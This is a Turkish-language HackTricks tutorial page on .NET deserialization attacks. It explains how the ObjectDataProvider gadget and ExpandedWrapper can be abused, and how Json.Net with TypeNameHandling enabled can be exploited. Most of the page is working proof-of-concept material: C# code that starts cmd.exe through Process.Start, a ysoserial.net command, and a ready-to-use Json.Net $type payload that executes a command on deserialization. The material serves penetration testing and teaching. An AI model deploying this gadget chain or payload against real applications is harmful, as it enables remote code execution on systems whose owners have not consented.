hacktricks/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md

188 lines
7.9 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
{{#include ../../banners/hacktricks-training.md}}
Bu gönderi, **ObjectDataProvider gadget'ının nasıl istismar edildiğini anlamaya** ve **Json.Net ve xmlSerializer serileştirme kütüphanelerinin bu gadget ile nasıl kötüye kullanılabileceğini**ıklamaya adanmıştır.
## ObjectDataProvider Gadget
Belgelerden: _ObjectDataProvider Sınıfı, bir bağlama kaynağı olarak kullanabileceğiniz bir nesneyi sarar ve oluşturur_.\
Evet, bu garip bir açıklama, o yüzden bu sınıfın ne kadar ilginç olduğunu görelim: Bu sınıf, **rastgele bir nesneyi sarmaya** izin verir, _**MethodParameters**_ kullanarak **rastgele parametreler ayarlamaya** ve ardından **MethodName kullanarak rastgele bir işlevi** çağırmaya olanak tanır.\
Bu nedenle, rastgele **nesne**, **serileştirilirken** **parametrelerle bir işlevi** **çalıştıracaktır.**
### **Bu nasıl mümkün**
**System.Windows.Data** ad alanı, **PresentationFramework.dll** içinde `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF` konumunda tanımlanmış ve uygulanmıştır.
[**dnSpy**](https://github.com/0xd4d/dnSpy) kullanarak, ilgilendiğimiz sınıfın **kodunu inceleyebilirsiniz**. Aşağıdaki resimde **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name** kodunu görüyoruz.
![](<../../images/image (427).png>)
Gördüğünüz gibi `MethodName` ayarlandığında `base.Refresh()` çağrılıyor, ne yaptığını görelim:
![](<../../images/image (319).png>)
Tamam, şimdi `this.BeginQuery()` ne yapıyor ona bakalım. `BeginQuery`, `ObjectDataProvider` tarafından geçersiz kılınmıştır ve işte yaptığı:
![](<../../images/image (345).png>)
Kodun sonunda `this.QueryWorke(null)` çağrıldığını not edin. Bunun neyi çalıştırdığını görelim:
![](<../../images/image (596).png>)
Bu, `QueryWorker` fonksiyonunun tam kodu değil, ancak ilginç kısmını gösteriyor: Kod **`this.InvokeMethodOnInstance(out ex);`** çağrısını yapıyor, bu, **metodun ayarlandığı yer**.
Sadece _**MethodName**_ ayarlayarak **çalıştırılacağını** kontrol etmek istiyorsanız, bu kodu çalıştırabilirsiniz:
```java
using System.Windows.Data;
using System.Diagnostics;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}
```
Not edin ki `System.Windows.Data` yüklemek için _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ referansını eklemeniz gerekiyor.
## ExpandedWrapper
Önceki istismarı kullanarak, **nesne** bir _**ObjectDataProvider**_ örneği olarak **deseralize edileceği** durumlar olacaktır (örneğin, DotNetNuke zafiyetinde, XmlSerializer kullanarak, nesne `GetType` ile deseralize edildi). Bu durumda, _ObjectDataProvider_ örneğinde sarılı olan nesne türü hakkında **hiçbir bilgiye sahip olmayacağız** (`Process` gibi). DotNetNuke zafiyeti hakkında daha fazla [bilgi burada](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1) bulabilirsiniz.
Bu sınıf, belirli bir örnekte kapsüllenmiş olan nesnelerin nesne türlerini **belirlemeye** olanak tanır. Bu nedenle, bu sınıf bir kaynak nesneyi (_ObjectDataProvider_) yeni bir nesne türüne kapsüllemek ve ihtiyaç duyduğumuz özellikleri sağlamak için kullanılabilir (_ObjectDataProvider.MethodName_ ve _ObjectDataProvider.MethodParameters_).\
Bu, daha önce sunulan durumlar için çok faydalıdır, çünkü **_ObjectDataProvider**_ nesnesini bir **_**ExpandedWrapper**_ örneği içinde **sarmalayabileceğiz** ve **deseralize edildiğinde** bu sınıf, _**MethodName**_'de belirtilen **fonksiyonu** **çalıştıracak** _**OjectDataProvider**_ nesnesini **oluşturacaktır**.
Bu sarmalayıcıyı aşağıdaki kod ile kontrol edebilirsiniz:
```java
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}
```
## Json.Net
[Resmi web sayfasında](https://www.newtonsoft.com/json) bu kütüphanenin **Json.NET'in güçlü JSON serileştiricisi ile herhangi bir .NET nesnesini serileştirmeye ve serileştirmeye** izin verdiği belirtilmektedir. Yani, eğer **ObjectDataProvider gadget'ını serileştirebilirsek**, bir nesneyi sadece serileştirerek **RCE**'ye neden olabiliriz.
### Json.Net örneği
Öncelikle, bu kütüphaneyi kullanarak bir nesneyi nasıl **serileştireceğimizi/serileştireceğimizi** görelim:
```java
using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;
namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}
//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}
```
### Json.Net'i Kötüye Kullanma
[ysoserial.net](https://github.com/pwntester/ysoserial.net) kullanarak bir istismar oluşturdum:
```java
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
```
Bu kodda **sömürüyü test edebilirsiniz**, sadece çalıştırın ve bir hesap makinesinin çalıştığını göreceksiniz:
```java
using System;
using System.Text;
using Newtonsoft.Json;
namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));
//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}
```
{{#include ../../banners/hacktricks-training.md}}